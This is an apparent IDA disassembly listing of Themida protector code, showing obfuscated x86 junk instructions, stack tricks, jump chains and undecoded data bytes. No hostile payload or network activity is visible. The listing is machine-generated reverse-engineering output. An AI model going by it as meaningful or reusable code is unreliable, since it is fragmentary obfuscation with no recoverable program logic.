		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 1
		push	edx
		jmp	loc_555198
; ---------------------------------------------------------------------------
		dw 0CE89h
		dd 0C6815B59h, 0BB33A90Ch, 0C9BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55B861:				; CODE XREF: Themida_:00553D87j
		push	edi
		jmp	loc_55DC44
; ---------------------------------------------------------------------------
		db 5
		dd 0FFFFFFFFh, 0FFC189E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B871:				; CODE XREF: Themida_:0055E24Dj
		pop	edi
		not	edi
		xchg	edi, esi
		jmp	loc_55E77C
; ---------------------------------------------------------------------------


loc_55B87B:				; CODE XREF: Themida_:0055EDF0j
		push	esi
		mov	esi, 4
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xchg	eax, [esp]
		jmp	loc_55CB2F
; ---------------------------------------------------------------------------
		dw 14F7h
		dd 0EEC15E24h, 0B8504606h, 27AE2818h, 43C7E9h, 24148B00h
		dd 0FF9400E9h, 374768FFh, 34890000h, 894BE24h, 20E9024Eh
		dd 81000014h, 4C1h, 0CF6800h, 2C890000h, 91E95724h, 5BFFFFA1h
		dd 24148759h, 0D324248Bh, 0E99C2424h, 0FFFF82F9h, 4C781h
		dd 0BE560000h, 4, 875EF701h, 248B243Ch,	3A62E924h, 0E9500000h
		dd 47D2h, 0E9240C87h, 16CFh, 4C6815Eh, 81000000h, 2C6h
		dd 22A36800h, 0B5E90000h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B92B:				; CODE XREF: Themida_:0055EDBBj
		push	ecx
		mov	ecx, 2D34777Bh
		inc	ecx
		jmp	loc_55FB08
; ---------------------------------------------------------------------------


loc_55B937:				; CODE XREF: Themida_:00558D78j
		add	esp, 4
		shl	ecx, 5
		xor	ecx, 9F89E9F4h
		push	ecx
		add	dword ptr [esp], 27CA7F76h
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 27CA7F76h
		mov	ecx, [esp]
		add	esp, 4
		shr	ebx, 2
		shr	ebx, 2
		jmp	loc_55EBB1
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 42474FFh, 24048F5Ah, 9CC8845Ch, 0FF8260E9h
		dd 0BCBE56FFh, 813E1E6Ah, 2C1C0FF6h, 0DF2BE90Dh, 0C483FFFFh
		dd 24048F04h, 6624248Bh, 9C2424D3h, 0FFED11E9h,	2474FFFFh
		dd 24048B04h, 4C481h, 48F0000h,	24248B24h, 9C240401h, 0FF8220E9h
		dd 243487FFh, 4BB535Ch,	1000000h, 0CDDDE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B9D6:				; CODE XREF: Themida_:0055CD8Cj
		mov	al, 0E3h
		jmp	loc_558BC1
; ---------------------------------------------------------------------------


loc_55B9DD:				; CODE XREF: Themida_:0055BC28j
		mov	ecx, ebp
		jmp	loc_5569F9
; ---------------------------------------------------------------------------
		dd 0C7815F54h, 4, 8702C783h, 515C243Ch,	19D8B966h, 0B1E98166h
		dd 0D1F7666Ah, 5EFC6866h, 0FFEBF9E9h, 52F681FFh, 29143954h
		dd 24348BF0h, 2C83E9h, 4815100h, 2D122124h, 0EA815A13h
		dd 132D1221h, 0E9240C8Bh, 0FFFFB4C0h
; ---------------------------------------------------------------------------


loc_55BA30:				; CODE XREF: Themida_:0055DA48j
		add	edx, 0AD6C3C4Ch
		jmp	loc_55FC6D
; ---------------------------------------------------------------------------
		db 66h
		dd 6605E9C1h, 921CE981h, 59CE2966h, 0E9F38966h,	0FFFFE931h
		dd 8104C483h, 3B193DEEh, 81C60155h, 3B193DC6h, 0B2EE8155h
		dd 8358A33Ch, 3C8904ECh, 2778E924h, 89660000h, 64B62414h
		dd 0FFCCC9E9h, 0E9D6F7FFh, 0FFFF9DCCh, 6EDC145h, 0E907E5C1h
		dd 0FFFF8181h, 0C781E789h, 4, 1045E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BA9D:				; CODE XREF: Themida_:00556E20j
		neg	dword ptr [esp]
		pop	ebp
		shr	ebp, 3
		push	edx
		push	3B605C32h
		pop	edx
		or	ebp, edx
		pop	edx
		or	ebp, 678C41EAh
		jmp	loc_55EFC5
; ---------------------------------------------------------------------------
		db 0BDh, 2Ah, 71h
		dd 0ED812D01h, 0B6A854FCh, 0FF821DE9h, 242C81FFh, 694C26E9h
		dd 77240481h, 811F5875h, 2BD12404h, 555107D9h, 2A13E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BAE5:				; CODE XREF: Themida_:0055E1CDj
		mov	ecx, 4
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	ebx, 6B8A3918h
		add	ebx, edx
		push	ecx
		mov	ecx, 6B8A3918h
		sub	ebx, ecx
		jmp	loc_553D55
; ---------------------------------------------------------------------------
		align 4
		dd 0BF40E9C8h, 5352FFFFh, 5E9E388h, 81FFFFA1h, 0FA3BA6F7h
		dd 8D2DE95Dh, 5451FFFFh, 4EC8159h, 89000000h, 3F68241Ch
		dd 89000052h, 468240Ch,	59000000h, 0C8BCB89h, 99E95224h
		dd 0BF000000h, 171C7D13h, 6225B850h, 0E9521A27h, 0FFFFE576h
		dd 5C241487h, 55C8BF0Fh, 0FF95FFE9h, 4EC81FFh, 89000000h
		dd 4BD242Ch, 2D000000h,	2BA36595h, 9505E801h, 0E92BA365h
		dd 1B37h, 0BF68D830h, 8900006Bh, 0A9B1240Ch, 66FFE980h
		dd 661FC268h, 0B0240489h, 0E9C1283Ah, 24ADh, 0C580E5D0h
		dd 3EDC044h, 2910E9h
		db 0
; ---------------------------------------------------------------------------


loc_55BBB1:				; CODE XREF: Themida_:00559CA3j
		sub	ebx, 4
		jmp	loc_557890
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0
		dd 29000000h, 350668D3h, 1C890000h, 2DEBE924h, 0C310000h
		dd 0D4DFE924h, 8B66FFFFh, 0E953241Ch, 0FFFFE80Ah, 0C281E289h
		dd 4, 8704C283h, 15C2414h, 0B7A1E9D9h, 0F001FFFFh, 0FFDE93E9h
		dd 243C8BFFh, 0FFA9BEE9h, 0EEC159FFh, 4206E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55BC0E:				; CODE XREF: Themida_:005558BDj
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	43D1h
		mov	[esp], ebp
		mov	ebp, 1F691994h
		jmp	loc_55B9DD
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 7
		dd 5FFFFFD3h, 37C3EB81h, 0CDE932FFh
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BC3F:				; CODE XREF: Themida_:00558387j
		xor	edi, 33AA4BFFh
		and	edi, 5F1E194Dh
		and	edi, 1E342CE0h
		add	edi, 0FC2E0C34h
		xor	ebp, edi
		pop	edi
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	ebx, esi
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 1A642150h
		jmp	loc_55CBF4
; ---------------------------------------------------------------------------


loc_55BC75:				; CODE XREF: Themida_:00556131j
		add	edx, edi
		sub	edx, 0B5B4357h
		jmp	loc_55F5C5
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 2C08300h, 5C240487h, 0FED6B353h, 45E380C3h, 0E9F8CB80h
		dd 31FDh, 4EC815Ah, 0E9000000h,	0FFFFC781h, 4EA815Ah, 2968D205h
		dd 416668EAh, 34890000h, 504BE24h, 0F20168D2h, 14875D5Eh
		dd 89665C24h, 35E92404h, 5F000033h, 0FFC217E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BCD9:				; CODE XREF: Themida_:005572A4j
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		dw 0CE89h
		dd 83240C8Bh, 0E68104C4h, 1B6A71B9h, 0FFDEF6E9h, 0EF6855FFh
		dd 8900001Ah, 168243Ch,	8B000000h, 8952243Ch, 4C281E2h
		dd 81000000h, 4C2h, 24148700h, 1F5E9h, 240C8900h, 4B9h
		dd 0EE6BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD32:				; CODE XREF: Themida_:0055C32Dj
		pop	edi
		jmp	loc_55BFBF
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 5F686602h, 4896673h, 0EAF6E924h,	8B66FFFFh
		dd 0BDE9240Ch
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD53:				; CODE XREF: Themida_:0055FB24j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_558172
; ---------------------------------------------------------------------------
		db 0B9h
		dd 5C674D32h, 1A7BD55h,	0F5810CEBh, 31183C83h, 0E953D5F7h
		dd 0FFFF91ADh, 0EC839148h, 24348904h, 1579FCBEh, 91E9533Bh
		dd 81FFFFCAh, 4C4h, 46E94700h, 89FFFFF6h, 9E9243Ch
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BD9F:				; CODE XREF: Themida_:0055EC48j
		add	ecx, 2
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_556CAE
; ---------------------------------------------------------------------------


loc_55BDB6:				; CODE XREF: Themida_:0055A0C9j
		mov	ecx, 457B4360h
		shl	ecx, 7
		jmp	loc_55F460
; ---------------------------------------------------------------------------
aN1S		db '­1Øé',8,7,0
		db 0
; ---------------------------------------------------------------------------


loc_55BDCB:				; CODE XREF: Themida_:00556A64j
		neg	ebx
		not	ebx
		not	ebx
		sub	ebx, 0D5E00E2Ch
		mov	esi, ebx
		pop	ebx
		push	edi
		jmp	loc_559C43
; ---------------------------------------------------------------------------
		dd 2434895Ch, 1904A7BEh, 0BA52555Ch, 0A3E6FB5Ah, 0FFEC92E9h
		dd 0E9F801FFh, 0FFFFB472h, 5724048Bh, 0C781E789h, 4, 79D568h
		dd 24148900h, 3F597DBAh, 7ECA817Eh, 4A1A5D27h, 66A1C281h
		dd 0DAF75449h, 8108E2C1h, 19E104F2h, 2D71E937h,	34FF0000h
		dd 0EC815924h, 4, 0FFF497E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55BE41:				; CODE XREF: Themida_:0055E596j
		push	ecx
		mov	ecx, 617B123Fh
		xor	eax, ecx
		jmp	loc_557B35
; ---------------------------------------------------------------------------
		dw 0E6C1h
		dd 0C6EE8102h, 31A7748Ah, 0C1895EF0h, 8324048Bh, 0CE0104C4h
		dd 56240C8Bh, 0C681E689h, 4, 3E07E9h, 2424D200h, 0E882E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BE7E:				; CODE XREF: Themida_:00556D0Dj
		mov	cx, [esp]
		add	esp, 2
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dw 0C361h
		dd 8B2434FFh, 0E9552414h, 0FFFFCC68h, 0F415EBAh, 5EF23133h
		dd 0D23DD3B8h, 5AD03113h, 450DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55BEB1:				; CODE XREF: Themida_:0055B0DAj
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_553BE5
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E1895124h, 0FFDEE4E9h, 58E308FFh, 0FFBFF1E9h, 8E955FFh
		dd 8800002Bh, 0AC9DE9F1h, 0C201FFFFh, 263FE9h, 0C8B6600h
		dd 0E9545124h, 0FFFFFFCEh
; ---------------------------------------------------------------------------


loc_55BEF4:				; CODE XREF: Themida_:00554EE6j
		sub	esp, 4
		jmp	loc_558C16
; ---------------------------------------------------------------------------
		dd 5C243487h, 0E9241489h, 2Ah, 14B2C381h, 0DF018277h, 243C875Bh
		dd 0F863E95Ch, 0E95CFFFFh, 0FFFFD2A2h, 8904EC83h, 1B1240Ch
		dd 30F0B652h, 1756E9F1h, 88B20000h, 0FF90C8E9h,	88ABAFFh
		dd 0CCE95FFDh, 100003Ch, 9C80E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF4A:				; CODE XREF: Themida_:0055900Dj
		mov	ecx, esi
		mov	[edx+30h], ecx
		pop	ecx
		pop	esi
		jmp	loc_55F35F
; ---------------------------------------------------------------------------
		dw 5D04h
		dd 78E9D828h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF5F:				; CODE XREF: Themida_:00556DC0j
		and	eax, 2F5644B1h
		dec	eax
		jmp	loc_554B4F
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0BE565024h, 273C7639h, 6CFFCE81h, 0F6811014h, 11E81C0Dh
		dd 26CCCE81h, 0CE81504Ah, 2F2D6F00h, 0BED7C681h, 0F089929Eh
		dd 2ED4BA5Eh, 46E9129Eh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BF9F:				; CODE XREF: Themida_:0055A504j
		mov	ebx, 23F843BEh
		sub	ebp, ebx
		pop	ebx
		jmp	loc_55480E
; ---------------------------------------------------------------------------
		dd 4C181h, 50570000h, 0EF12A268h, 19E95828h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55BFBF:				; CODE XREF: Themida_:0055BD33j
		mov	ebx, 0F5BFE8AFh
		add	ebx, edx
		pop	edx
		not	ebx
		inc	ebx
		jmp	loc_556B92
; ---------------------------------------------------------------------------
		db 68h
		dd 73653DB6h, 6EF2815Ah, 89143D43h, 0E1C15AD1h,	1AEBE903h
		dd 57590000h, 0C82113BFh, 52E94717h, 81FFFFA7h,	216755EAh
		dd 14875920h, 24248B24h, 240CFF66h, 7BDBE99Ch, 5758FFFFh
		dd 0FFFA7FE9h, 0EF8147FFh, 19498331h, 2246BF57h, 0EFC16F86h
		dd 0C7814705h, 2D440193h, 18BDEF81h, 0FE01FEE5h, 0E9FE295Fh
		dd 0FFFFEF17h, 515BCB2Ch, 0FF8525E9h, 0BDE95CFFh, 8900001Ah
		dd 0D5F759CDh, 0D5F7E5D1h, 22CECD81h, 0D5F75AD9h, 0D4D1F581h
		dd 0EE298C4Bh, 0C5EE815Dh, 811E8E72h, 0F928EEC6h, 0EBE5601h
		dd 29599F4Bh, 0F5015EF5h, 4B0EC581h, 0C2E9599Fh, 0B600002Eh
		dd 2EC81C0h, 66000000h,	80241489h, 101246Ch, 35E1E9h, 8BF72100h
		dd 0C4812434h, 4, 5504EFC1h, 49503FBDh,	0E9EF096Ch, 3D6Eh
		dd 285BE981h, 56E96273h, 81000035h, 256F96C7h, 2ED9E934h
		dd 0B1510000h, 9EDBE98Dh, 0D828FFFFh, 4EC81h, 14890000h
		dd 9197E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C0E2:				; CODE XREF: Themida_:0055826Dj
		add	esp, 4
		push	76AFh
		mov	[esp], eax
		push	ebx
		push	2A1B24C2h
		pop	ebx
		jmp	loc_55C2C4
; ---------------------------------------------------------------------------
		dd 0E7E4E955h, 835FFFFFh, 83E904ECh, 50FFFFF1h,	5D38FDB8h
		dd 0BEE4E900h, 3489FFFFh, 4BE24h, 0F3010000h, 3BF1E9h
		dd 40478F00h, 0CFBE9h, 1C77FF00h, 419589Dh, 0DE99C24h
		dd 2CFFFFBEh, 0E0A6E95Fh, 0B951FFFFh, 4, 2659E9h
		db 0
; ---------------------------------------------------------------------------


loc_55C14D:				; CODE XREF: Themida_:0055E03Cj
		sub	edx, ebx
		jmp	loc_559B8B
; ---------------------------------------------------------------------------
		dd 42474FFh, 6824048Bh,	9CBh, 0FFC690E9h, 0FF665CFFh, 0E99C2404h
		dd 0FFFF7A75h
; ---------------------------------------------------------------------------


loc_55C170:				; CODE XREF: Themida_:00558CE5j
		push	bx
		mov	bl, 8Fh
		jmp	loc_55CD6A
; ---------------------------------------------------------------------------
		db 0C0h, 0ECh, 2
		dd 83F480h, 885058E2h, 7BDE68D4h, 1C890000h, 0EF1DE924h
		dd 79BDFFFFh, 0C136D171h, 0ED8105EDh, 236A1FE0h, 4978ED81h
		dd 0EDC143EDh, 89ED8105h, 0E9538825h, 2607h
; ---------------------------------------------------------------------------


loc_55C1B4:				; CODE XREF: Themida_:00558CDEj
		inc	ah
		jmp	loc_556CEC
; ---------------------------------------------------------------------------
		db 0F6h
		dd 3E6C0DEh, 80CAF680h,	0D504D7C6h, 0FFFEFDE9h,	46B468FFh
		dd 14890000h, 2474FF24h, 24148B04h, 15D2E9h, 89F28900h
		dd 348B5AD5h, 4C48324h,	2D80EB81h, 0EB014CC4h, 2D80C381h
		dd 2C8B4CC4h, 26A0E924h, 0ECC00000h, 0F5EC8007h, 0F658E108h
		dd 0F5E980D1h, 0FF8EC8E9h, 5322BBFFh, 0E3812C5Fh, 1A4B68C6h
		dd 0BDCF381h, 0DE299B06h, 0E9F0315Bh, 5C2h, 5866E528h
		dd 0E959E820h, 0FFFF9560h
; ---------------------------------------------------------------------------


loc_55C23C:				; CODE XREF: Themida_:00554F15j
		sub	ebp, 1
		jmp	loc_55D8F1
; ---------------------------------------------------------------------------
		db 87h
		dd 248B243Ch, 3DF2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C252:				; CODE XREF: Themida_:005581B0j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_55ECA6
; ---------------------------------------------------------------------------
		db 0FFh
		dd 83592434h, 1C8904ECh, 685B5424h, 7B3h, 52240C89h, 4BB53h
		dd 0DA890000h, 0FFCC31E9h, 1045BFFh, 7AB353h, 0C12C5BD8h
		dd 0C104D028h, 0FFD0F9E9h, 65E95BFFh, 81FFFFEEh, 0E11BE9EFh
		dd 81F70174h, 0E11BE9C7h, 0FF575E74h, 8B042474h, 0E950243Ch
		dd 0FFFFBDCCh
; ---------------------------------------------------------------------------


loc_55C2C4:				; CODE XREF: Themida_:0055C0F7j
		shl	ebx, 6
		jmp	loc_557818
; ---------------------------------------------------------------------------


loc_55C2CC:				; CODE XREF: Themida_:005596F1j
		shr	dh, 6
		and	dh, 9Dh
		sub	dh, 0E8h
		sub	bl, dh
		jmp	loc_55860A
; ---------------------------------------------------------------------------
		dd 4C3815Bh, 83000000h,	0C8904ECh, 4B924h, 19E90000h, 0FFFFFFBFh
		dd 0EAE94077h, 89FFFF78h, 0CD895EF1h, 0EEE94D59h, 4FFFFC2h
		dd 0E95A66A4h, 0FFFFCFC9h
; ---------------------------------------------------------------------------


loc_55C310:				; CODE XREF: Themida_:0055E56Ej
		mov	edi, 2
		sub	ecx, 89F1AFEh
		jmp	loc_55D886
; ---------------------------------------------------------------------------
		dd 6D6E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55C326:				; CODE XREF: Themida_:00556B1Bj
		mov	edx, 0E0072BBh
		add	edx, edi
		jmp	loc_55BD32
; ---------------------------------------------------------------------------


loc_55C332:				; CODE XREF: Themida_:00555E63j
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_55B071
		push	dword ptr [edi+1Ch]
		push	ebp
		mov	ebp, 3CFF2300h
		sub	[esp+4], ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55641D
; ---------------------------------------------------------------------------


loc_55C35A:				; CODE XREF: Themida_:0055956Bj
		or	edx, 15FF5A91h
		add	edx, 992BFDD7h
		add	edx, 10ABB74Fh
		mov	edi, edx
		pop	edx
		or	eax, edi
		jmp	loc_556DBA
; ---------------------------------------------------------------------------
aISr@		db '‰<$éR@',0
		align 2


loc_55C37E:				; CODE XREF: Themida_:0056036Cj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		jmp	loc_559AB0
; ---------------------------------------------------------------------------
		db 0FFh
		dd 62E92434h, 5FFFFFD4h, 0E91C6F09h, 0FFFFE0D4h
; ---------------------------------------------------------------------------


loc_55C39C:				; CODE XREF: Themida_:00558276j
		push	10000h
		pop	esi
		push	ebx
		push	esi
		pop	ebx
		jmp	loc_5597EB
; ---------------------------------------------------------------------------


loc_55C3AA:				; CODE XREF: Themida_:0055ADEDj
		pop	ebx
		jmp	loc_55ADA1
; ---------------------------------------------------------------------------
		dd 0EC81AD66h, 4, 66241C89h, 0E91683BBh, 0FFFFE14Ch, 5084C681h
		dd 0C6814F31h, 4F9E1FE9h, 0EE81EE01h, 4F9E1FE9h, 5084BB53h
		dd 0DE294F31h, 160AE9h,	17685B00h, 8900005Ah, 89BF243Ch
		dd 81496330h, 2A3D95EFh, 17CF8107h, 812ED21Ch, 51686FC7h
		dd 0E9FB31ABh, 0FFFFCA49h
; ---------------------------------------------------------------------------


loc_55C40C:				; CODE XREF: Themida_:00557351j
		add	esp, 4
		or	ecx, 19F9339Bh
		shr	ecx, 5
		sub	ecx, 5CCA63A2h
		dec	ecx
		push	ebx
		mov	ebx, 42314D23h
		sub	ebx, 2D8EECD1h
		add	ecx, 2619560Bh
		sub	ecx, ebx
		sub	ecx, 2619560Bh
		jmp	loc_558C9B
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 79BCEA81h, 0C8B2002h, 0B508E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C44E:				; CODE XREF: Themida_:00557232j
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	7270h
		mov	[esp], esi
		push	eax
		mov	eax, 26D30D78h
		mov	esi, eax
		mov	eax, [esp]
		jmp	loc_55D178
; ---------------------------------------------------------------------------


loc_55C47B:				; CODE XREF: Themida_:0055FABDj
		shr	ecx, 8
		add	ecx, 1
		and	ecx, 66DA3683h
		push	152Ch
		mov	[esp], ebx
		jmp	loc_557743
; ---------------------------------------------------------------------------
		db 0F7h
		dd 20CB81DBh, 4B5C905Ch, 0F25BC381h, 55E93B66h,	500000Eh
		dd 4, 11F0E9h, 24348700h, 0FF24248Bh, 68582434h, 2D5Fh
		dd 0FFBBF3E9h, 34A968FFh, 0FE914E1h, 5500001Bh,	7433DFBDh
		dd 0B8DDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C4DE:				; CODE XREF: Themida_:0055A550j
		pop	esi
		jmp	loc_55858C
; ---------------------------------------------------------------------------
		dd 0E904C283h, 0FFFFB973h, 4240483h, 0A1BE565Fh, 0E91BBE09h
		dd 0FFFFBB45h, 0E95EF701h, 0FFFFA1DCh
; ---------------------------------------------------------------------------


loc_55C504:				; CODE XREF: Themida_:0055AE2Cj
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, eax
		jmp	loc_5600C4
; ---------------------------------------------------------------------------


loc_55C516:				; CODE XREF: Themida_:0055A458j
		mov	[esp], esi
		push	26187915h
		pop	esi
		xor	[esp+4], esi
		jmp	loc_5580F0
; ---------------------------------------------------------------------------
		dd 425EF209h, 7FDCF281h, 0D301FEFEh, 2C3835Ah, 31241C33h
		dd 1C33241Ch, 9D94E924h, 8B66FFFFh, 5456240Ch, 5324348Bh
		dd 6855E389h, 601Dh, 0EBEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55C55D:				; CODE XREF: Themida_:00557E7Aj
		push	ecx
		mov	ecx, 1B5B40DCh
		jmp	loc_5540F3
; ---------------------------------------------------------------------------


loc_55C568:				; CODE XREF: Themida_:0055465Cj
		add	dl, 19h
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		sub	bl, 0A1h
		add	bl, 9Dh
		jmp	loc_55A632
; ---------------------------------------------------------------------------
		db 0B7h, 5Ch, 52h
		dd 0FF8ADEE9h, 4ED83FFh, 5C242C87h, 0B1240C89h,	70C980EBh
		dd 0E9DEE180h, 2A44h, 0F781D7F7h, 0DDCC9A7Dh, 0FF9584E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55C5AD:				; CODE XREF: Themida_:00554B4Aj
		mov	ebx, esp
		jmp	loc_5603CA
; ---------------------------------------------------------------------------
		dd 81242489h, 42404h, 815A0000h, 4C2h, 0AE9EE900h, 0E5C1FFFFh
		dd 3EDC102h, 0F705EDC1h, 0DCC581D5h, 1002EF1h, 0B8505DEFh
		dd 2, 9E9C701h
		db 1Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55C5EB:				; CODE XREF: Themida_:0055B68Ej
		mov	eax, edx
		mov	edx, [esp]
		push	509Dh
		mov	[esp], esi
		jmp	loc_55F1BA
; ---------------------------------------------------------------------------
		db 5Ah,	50h, 0E9h
		dd 0FFFFB10Eh
; ---------------------------------------------------------------------------


loc_55C604:				; CODE XREF: Themida_:00556A03j
		mov	ebx, 474E1D1Dh
		jmp	loc_558D73
; ---------------------------------------------------------------------------
		dw 875Dh
		dd 5E92434h, 8900003Bh,	89515BDEh, 4C181E1h, 0E9000000h
		dd 0FFFFDCCFh
; ---------------------------------------------------------------------------


loc_55C628:				; CODE XREF: Themida_:0055E5EEj
		push	603Fh
		mov	[esp], ebx
		mov	ebx, 0BCA44C4h
		neg	ebx
		push	ecx
		push	edi
		mov	edi, 26FC2F0Ah
		mov	ecx, edi
		pop	edi
		add	ebx, ecx
		jmp	loc_55436D
; ---------------------------------------------------------------------------
		dd 8304E8B3h, 0FFC6F8E9h, 261268FFh, 83E90000h,	68FFFF76h
		dd 4706h, 52241C89h, 0D8E9FCB6h, 81000026h, 0A44745C6h
		dd 7EEC15Eh, 384DB951h,	0C9815311h, 315F73DFh, 8107E9C1h
		dd 6C7242C9h, 0E9814136h, 19CE05Ch, 6EE9CE01h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C697:				; CODE XREF: Themida_:0055D058j
		sub	edi, 60CA7232h
		jmp	loc_5572CA
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 24348904h, 5251E689h, 4BAh, 8BD18900h, 0C4832414h
		dd 0FFCE0104h, 81592434h, 4C4h,	32006800h, 0FE90000h, 5AFFFFBFh
		dd 0E950415Eh, 0FFFFE57Eh, 0DE9CBFEh, 0FEFFFFBCh, 6AEE80CEh
		dd 0FE6DE680h, 9FEE80C6h, 0A9E9F328h, 89FFFFA3h, 4C581E5h
		dd 81000000h, 4C5h, 242C8700h, 0CCB6525Ch, 8069B753h, 0D7F67DCFh
		dd 0CFFECFFEh, 0CE5E9h,	30506800h, 295D5407h, 242C8BE8h
		dd 4C481h, 0E12D0000h, 293A6B74h, 74E105D8h, 68553A6Bh
		dd 4E31336Bh, 0FFE399E9h, 4C481FFh, 1000000h, 5A042454h
		dd 4C2815Ah, 50000000h,	268h, 0DAE95800h, 1000028h, 0A285E9C8h
		dd 48BFFFFh, 0E4E95524h, 66000019h, 57240C8Bh, 0E904EC83h
		dd 0FFFFB9B7h, 0F8288A2Ch, 290EE953h, 0ED050000h, 8B025621h
		dd 0AEE92414h, 0B900000Bh, 520E784Ch, 8B59C829h, 0C481242Ch
		dd 4, 5E2BBE56h, 0F329534Ah, 0B9C2E95Eh, 4C86FFFFh, 59E90124h
		dd 2C00002Fh, 240C8B4Bh, 0FFB096E9h, 240C89FFh,	0C26582B9h
		dd 0B1D7E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55C7D6:				; CODE XREF: Themida_:0055584Bj
		push	edx
		mov	edx, 6284744Dh
		mov	edi, edx
		pop	edx
		jmp	loc_557869
; ---------------------------------------------------------------------------
		dd 0B850C701h, 51D72B39h, 25DBE951h, 34FF0000h,	0E9535E24h
		dd 2CF0h
; ---------------------------------------------------------------------------


loc_55C7FC:				; CODE XREF: Themida_:00556D72j
		xor	ebp, 5C0D4315h
		and	ebp, 10755736h
		neg	ebp
		shl	ebp, 4
		jmp	loc_55EEA8
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 7C123CD7h, 2A36BE56h, 0DEF72D92h, 16A8CE81h,	0F6815BC7h
		dd 8393A078h, 0FFFCF7E9h, 81EB87FFh, 0CD1D3EBh,	0E9D9290Ch
		dd 0A57h
; ---------------------------------------------------------------------------


loc_55C840:				; CODE XREF: Themida_:00554BF0j
		add	edi, eax
		jmp	loc_55994D
; ---------------------------------------------------------------------------


loc_55C847:				; CODE XREF: Themida_:0055F0EFj
		push	esi
		push	edi
		mov	edi, 424A3546h
		shr	edi, 3
		xor	edi, 5A891B8Ah
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 383E3556h
		sub	edi, ebp
		pop	ebp
		mov	esi, edi
		mov	edi, [esp]
		jmp	loc_5561D6
; ---------------------------------------------------------------------------


loc_55C872:				; CODE XREF: Themida_:0055910Aj
		shl	ebx, 1
		dec	ebx
		dec	ebx
		neg	ebx
		add	ebx, 0D6EC8A7Bh
		or	ebx, 46495192h
		xor	ebx, 297C6C69h
		not	ebx
		or	ebx, 3E345F0h
		sub	ebx, 9BEFCFEDh
		add	eax, ebx
		jmp	loc_55E27F
; ---------------------------------------------------------------------------


loc_55C89F:				; CODE XREF: Themida_:0055F769j
		shr	ebx, 1
		jmp	loc_5569C4
; ---------------------------------------------------------------------------
		dw 5966h
		dd 84044204h, 5266D828h, 0A42C84B6h, 4CE9F028h,	0FFFFFFFAh
		dd 815A2434h, 4C4h, 0B1516600h,	0B35366AEh, 0AA047Eh, 66AA2CD8h
		dd 0E9C8005Bh, 0FFFF7713h, 2414895Ch, 4EC81h, 24890000h
